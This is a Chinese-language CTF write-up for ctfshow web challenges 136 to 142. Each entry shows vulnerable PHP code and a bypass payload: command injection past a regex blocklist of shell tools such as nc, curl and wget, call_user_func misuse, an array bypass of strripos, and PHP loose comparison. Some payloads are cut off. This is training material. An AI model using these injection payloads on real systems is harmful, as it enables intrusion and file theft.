payload:?_POST[key1]=36d&_POST[key2]=36d
web136 1 2 3 4 5 6 7 8 9 10 11 12 13 14 function check($x){ if(preg_match('/\\$|\. |\! |\@ |\# |\% |\^ |\& |\* |\? |\{ |\} |\> |\< |nc |wget |exec |bash |sh |netcat |grep |base64 |rev |curl |wget |gcc |php |python |pingtouch |mv |mkdir |cp/i', $x)){ die('too young too simple sometimes naive!'); } } if(isset($_GET['c'])){ $c=$_GET['c']; check($c); exec($c); } else{ highlight_file(__FILE__); } ?>
tee用于显示程序的输出并将其复制到一个文件中 payload:?c=ls |tee 1
访问1有index.php 没有flag文件 payload:?c=ls / | tee 1
找到flag文件f149_15_h3r3 payload:?c=cat /f149_15_h3r3|tee 1
flag😍
web137 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 error_reporting (0 );highlight_file (__FILE__); class ctfshow { function __wakeup (){ die ("private class"); } static function getFlag (){ echo file_get_contents ("flag.php"); } }call_user_func ($_POST['ctfshow']);
本题考查call_user_func() 的使用,需要调用ctfshow类里的getFlag方法 调用方法如图所示 payload:
1 2 POSTctfshow =ctfshow::getFlag
web138 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 error_reporting (0 );highlight_file (__FILE__); class ctfshow { function __wakeup (){ die ("private class"); } static function getFlag (){ echo file_get_contents ("flag.php"); } }if (strripos($_POST['ctfshow'], ":")>-1 ){ die ("private function"); }call_user_func ($_POST['ctfshow']);
strripos()函数可被数组绕过 所以payload:
1 2 POST ctfshow [0 ]=ctfshow&ctfshow[1 ]=getFlag
web140 1 2 3 4 5 6 7 8 9 10 11 12 13 14 error_reporting (0 );highlight_file (__FILE__ );if (isset ($_POST ['f1' ]) && isset ($_POST ['f2' ])){ $f1 = (String)$_POST ['f1' ]; $f2 = (String)$_POST ['f2' ]; if (preg_match ('/^[a-z0-9]+$/' , $f1 )){ if (preg_match ('/^[a-z0-9]+$/' , $f2 )){ $code = eval ("return $f1 ($f2 ());" ); if (intval ($code ) == 'ctfshow' ){ echo file_get_contents ("flag.php" ); } } } }
tip
1 2 3 var_dump('a' == 0 ); // bool(true) var_dump('1a' == 1 ); // bool(true) var_dump('12a' == 1 ); // bool(false)
所以我们拼凑函数,凑出结果为0或false或NULL的,需要intval($code)的值为0
paylaod:
string system( string $command[, int &$return_var] )
成功则返回命令输出的最后一行,失败则返回 FALSE 。system()必须包含参数,失败返回FLASE;system(‘FLASE’),空指令,失败返回FLASE。
web142 1 2 3 4 5 6 7 8 9 10 11 error_reporting (0 );highlight_file (__FILE__ );if (isset ($_GET ['v1' ])){ $v1 = (String)$_GET ['v1' ]; if (is_numeric ($v1 )){ $d = (int )($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d ); sleep ($d ); echo file_get_contents ("flag.php" ); } }
关键函数sleep(),sleep() 函数延迟代码执行若干秒 输入v1为数字,若v1为1都要延迟很多很多秒,那不如直接让v1=0 payload: